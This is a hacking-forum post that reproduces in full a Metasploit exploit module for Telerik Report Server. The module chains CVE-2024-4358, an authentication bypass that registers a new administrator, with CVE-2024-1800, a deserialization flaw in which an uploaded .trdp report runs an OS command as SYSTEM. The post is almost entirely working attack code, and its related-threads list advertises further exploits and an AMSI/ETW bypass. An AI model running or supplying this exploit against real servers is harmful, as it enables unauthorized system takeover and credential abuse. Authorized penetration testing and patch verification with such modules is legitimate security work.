Telerik Report Server Authentication Bypass / Remote Code Execution Exploit
by APExploits - Monday June 17, 2024 at 04:37 PM
#1
WARRNING THIS EXPLOIT DOES NOT BELONG TO US!
Author: Soroush Dalili
0day-ID0day-ID-39653
Risk: [Security Risk Critical]
Platform: Windows


Quote:This Metasploit module chains an authentication bypass vulnerability with a deserialization vulnerability to obtain remote code execution against Telerik Report Server versions 10.0.24.130 and below. The authentication bypass flaw allows an unauthenticated user to create a new user with administrative privileges. The USERNAME datastore option can be used to authenticate with an existing account to prevent the creation of a new one. The deserialization flaw works by uploading a specially crafted report that when loaded will execute an OS command as NT AUTHORITY\SYSTEM. The module will automatically delete the created report but not the account because users are unable to delete themselves.
 
CVE-2024-1800
CVE-2024-4358
# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework require 'rex/zip' class MetasploitModule < Msf::Exploit::Remote   Rank = ExcellentRanking   prepend Msf::Exploit::Remote::AutoCheck   include Msf::Exploit::Remote::CheckModule   include Msf::Exploit::Remote::HttpClient   def initialize(info = {})     super(       update_info(         info,         'Name' => 'Telerik Report Server Auth Bypass and Deserialization RCE',         'Description' => %q{           This module chains an authentication bypass vulnerability (CVE-2024-4358) with a deserialization vulnerability           (CVE-2024-1800) to obtain remote code execution against Telerik Report Server version 10.0.24.130 and prior.           The authentication bypass flaw allows an unauthenticated user to create a new user with administrative privileges.           The USERNAME datastore option can be used to authenticate with an existing account to prevent the creation of a           new one. The deserialization flaw works by uploading a specially crafted report that when loaded will execute an           OS command as NT AUTHORITY\SYSTEM. The module will automatically delete the created report but not the account           because users are unable to delete themselves.         },         'Author' => [           'SinSinology', # CVE-2024-4358 discovery, original PoC and vulnerability write-up           'Soroush Dalili', # CVE-2024-1800 exploitation assistance           'Unknown', # CVE-2024-1800 discovery           'Spencer McIntyre' # MSF module         ],         'License' => MSF_LICENSE,         'References' => [           [ 'CVE', '2024-1800' ], # .NET deserialization vulnerability # patched in > 10.0.24.130           [ 'CVE', '2024-4358' ], # Authentication bypass # patched in > 10.0.24.305           [ 'URL', 'https://summoning.team/blog/progress-report-server-rce-cve-2024-4358-cve-2024-1800/' ]         ],         'Platform' => 'win',         'Arch' => ARCH_CMD,         'Targets' => [           [ 'Automatic', {} ],         ],         'DefaultOptions' => {           'SSL' => false,           'RPORT' => 83         },         'DefaultTarget' => 0,         'DisclosureDate' => '2024-06-04',         'Notes' => {           'Stability' => [ CRASH_SAFE, ],           'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],           'Reliability' => [ REPEATABLE_SESSION, ],           'RelatedModules' => [ check_module ]         }       )     )     register_options([       OptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]),       OptString.new('USERNAME', [false, 'Username for the new account', '']),       OptString.new('PASSWORD', [false, 'Password for the new account', ''])     ])     deregister_options('CheckModule')   end   def check_module     'auxiliary/scanner/http/telerik_report_server_auth_bypass'   end   def check_options     { 'ACTION' => 'CHECK' }   end   def check     check_code = super     if check_code == CheckCode::Appears       # The auth bypass affects later versions than the RCE, so just filter those out       version = check_code.details[:version]       if version > Rex::Version.new('10.0.24.130')         return CheckCode::Safe("Telerik Report Server #{version} is not affected by CVE-2024-1800.", details: check_code.details)       end     end     check_code   end   def username     @username ||= datastore['USERNAME'].blank? ? Faker::Internet.username : datastore['USERNAME']   end   def password     @password ||= (create_account? && datastore['PASSWORD'].blank?) ? Rex::Text.rand_text_alphanumeric(16) : datastore['PASSWORD']   end   def create_account?     # unless the user specifies a username, use CVE-2024-4358 to create an account for them.     datastore['USERNAME'].blank?   end   def create_account!     # create a new account by exploiting CVE-2024-4358     res = send_request_cgi(       'method' => 'POST',       'uri' => normalize_uri(target_uri.path, 'Startup/Register'),       'vars_post' => {         'Username' => username,         'Password' => password,         'ConfirmPassword' => password,         'Email' => Faker::Internet.email(name: username),         'FirstName' => Faker::Name.first_name,         'LastName' => Faker::Name.last_name       }     )     fail_with(Failure::Unreachable, 'No response received') if res.nil?     fail_with(Failure::UnexpectedReply, 'Failed to create the new account') unless res.code == 302 && res.headers['location']&.end_with?('/Report/Index')   end   def login     res = send_request_cgi(       'method' => 'POST',       'uri' => normalize_uri(target_uri.path, 'Token'),       'vars_post' => {         'grant_type' => 'password',         'username' => username,         'password' => password       }     )     fail_with(Failure::Unreachable, 'No response received') if res.nil?     fail_with(Failure::UnexpectedReply, 'Failed to login to the target (invalid response)') unless res.headers['content-type']&.start_with?('application/json')     fail_with(Failure::NoAccess, 'Failed to login to the target (invalid credentials)') unless res.code == 200     access_token = res.get_json_document['access_token']     fail_with(Failure::UnexpectedReply, 'Failed to login to the target (missing access token)') unless access_token.present?     print_good("Successfully authenticated as #{username}")     report_creds(username, password)     access_token   end   def build_trdp     zip = Rex::Zip::Archive.new     zip.add_file(       '[Content_Types].xml',       Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).to_xml(indent: 0, save_with: 0)         <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">           <Default Extension="xml" ContentType="application/zip" />         </Types>       XML     )     zip.add_file(       'definition.xml',       Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)         <Report Width="6.5in" Name="oooo" xmlns="http://schemas.telerik.com/reporting/2021/1.0">           <Items>             <ResourceDictionary                 xmlns="clr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"                 xmlns:System="clr-namespace:System;assembly:mscorlib"                 xmlns:Diag="clr-namespace:System.Diagnostics;assembly:System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"                 xmlns:ODP="clr-namespace:System.Windows.Data;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"               >               <ODP:ObjectDataProvider MethodName="Start" >                 <ObjectInstance>                   <Diag:Process>                     <StartInfo>                       <Diag:ProcessStartInfo FileName="cmd" Arguments=#{"/c #{payload.encoded}".encode(xml: :attr)}></Diag:ProcessStartInfo>                     </StartInfo>                   </Diag:Process>                 </ObjectInstance>               </ODP:ObjectDataProvider>             </ResourceDictionary>           </Items>         </Report>       XML     )     zip.pack   end   def send_request_api(resource, method: nil, data: nil)     if method.nil?       method = data.nil? ? 'GET' : 'POST'     end     res = send_request_cgi(       'method' => method,       'uri' => normalize_uri(target_uri.path, 'api', resource),       'headers' => {         'Authorization' => "Bearer #{@access_token}"       },       'ctype' => 'application/json',       'data' => data.nil? ? nil : data.to_json     )     fail_with(Failure::Unreachable, 'No API response received') if res.nil?     fail_with(Failure::UnexpectedReply, "The API responded with status #{res.code}") unless res.code == 200     return nil if res.body.blank?     fail_with(Failure::UnexpectedReply, 'API response content is not JSON data') unless res.headers['content-type']&.start_with?('application/json')     res.get_json_document   end   def exploit     if create_account?       print_status('Creating a new administrator account using CVE-2024-4358')       create_account!       print_good("Created account: #{username}:#{password} (Note: This account will not be deleted by the module)")     end     @access_token = login     categories = send_request_api('reportserver/categories')     report_name = rand_text_alphanumeric(10)     category = categories.sample     fail_with(Failure::Unknown, 'A random category could not be selected') unless category     print_status("Using category: #{category['Name']}")     send_request_api(       'reportserver/report',       data: {         'reportName' => report_name,         'categoryName' => category['Name'],         'description' => nil,         'reportContent' => Rex::Text.encode_base64(build_trdp),         'extension' => '.trdp'       }     )     vprint_status("Created report: #{report_name}")     res_json = send_request_api('reportserver/reports')     @report = res_json.find { |report| report['Name'] == report_name && report['CategoryId'] == category['Id'] }     res_json = send_request_api(       'reports/clients',       data: {         'timeStamp' => nil       }     )     client_id = res_json['clientId']     fail_with(Failure::UnexpectedReply, 'Failed to obtain the client ID') unless client_id.present?     begin       send_request_api(         "reports/clients/#{client_id}/parameters",         data: {           'report' => "NAME/#{category['Name']}/#{report_name}/",           'parameterValues' => {}         }       )     rescue Msf::Exploit::Failed => e       raise e unless fail_reason == Failure::UnexpectedReply       print_good('The server responded with an error indicating that the payload was executed')       self.fail_reason = Failure::None     end   end   def cleanup     return unless @report && @access_token     print_status("Deleting report '#{@report['Name']}' (ID: #{@report['Id']})")     send_request_api("reportserver/reports/#{@report['Id']}", method: 'DELETE')   end   def report_creds(user, pass)     credential_data = {       module_fullname: fullname,       username: user,       private_data: pass,       private_type: :password,       workspace_id: myworkspace_id,       last_attempted_at: Time.now,       status: Metasploit::Model::Login::Status::SUCCESSFUL     }.merge(service_details)     create_credential_and_login(credential_data)   end end #  0day.today [2024-06-17]  #
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Ban Any Discord Exploit PhineasFisher 6 298 02-08-2026, 11:49 PM
Last Post: skype
  Cool Remote Patching ETW/Amsi PoC pepeloco 6 2,094 02-08-2026, 07:58 AM
Last Post: zeroday99
  CVE-2025-40554 - SolarWinds Web Help Desk Auth Bypass & RCE PoC miyako 3 76 02-07-2026, 03:32 PM
Last Post: cysc
  HPE OneView RCE Exploit [CVE-2025-37164] Hawx01 8 263 02-06-2026, 07:08 PM
Last Post: hacker0123
  Wordpress Elementor 3.11.6 Exploit - Full Takeover TheGoodlife 100 19,087 02-03-2026, 06:50 PM
Last Post: wrtcloud



 Users browsing this thread: 1 Guest(s)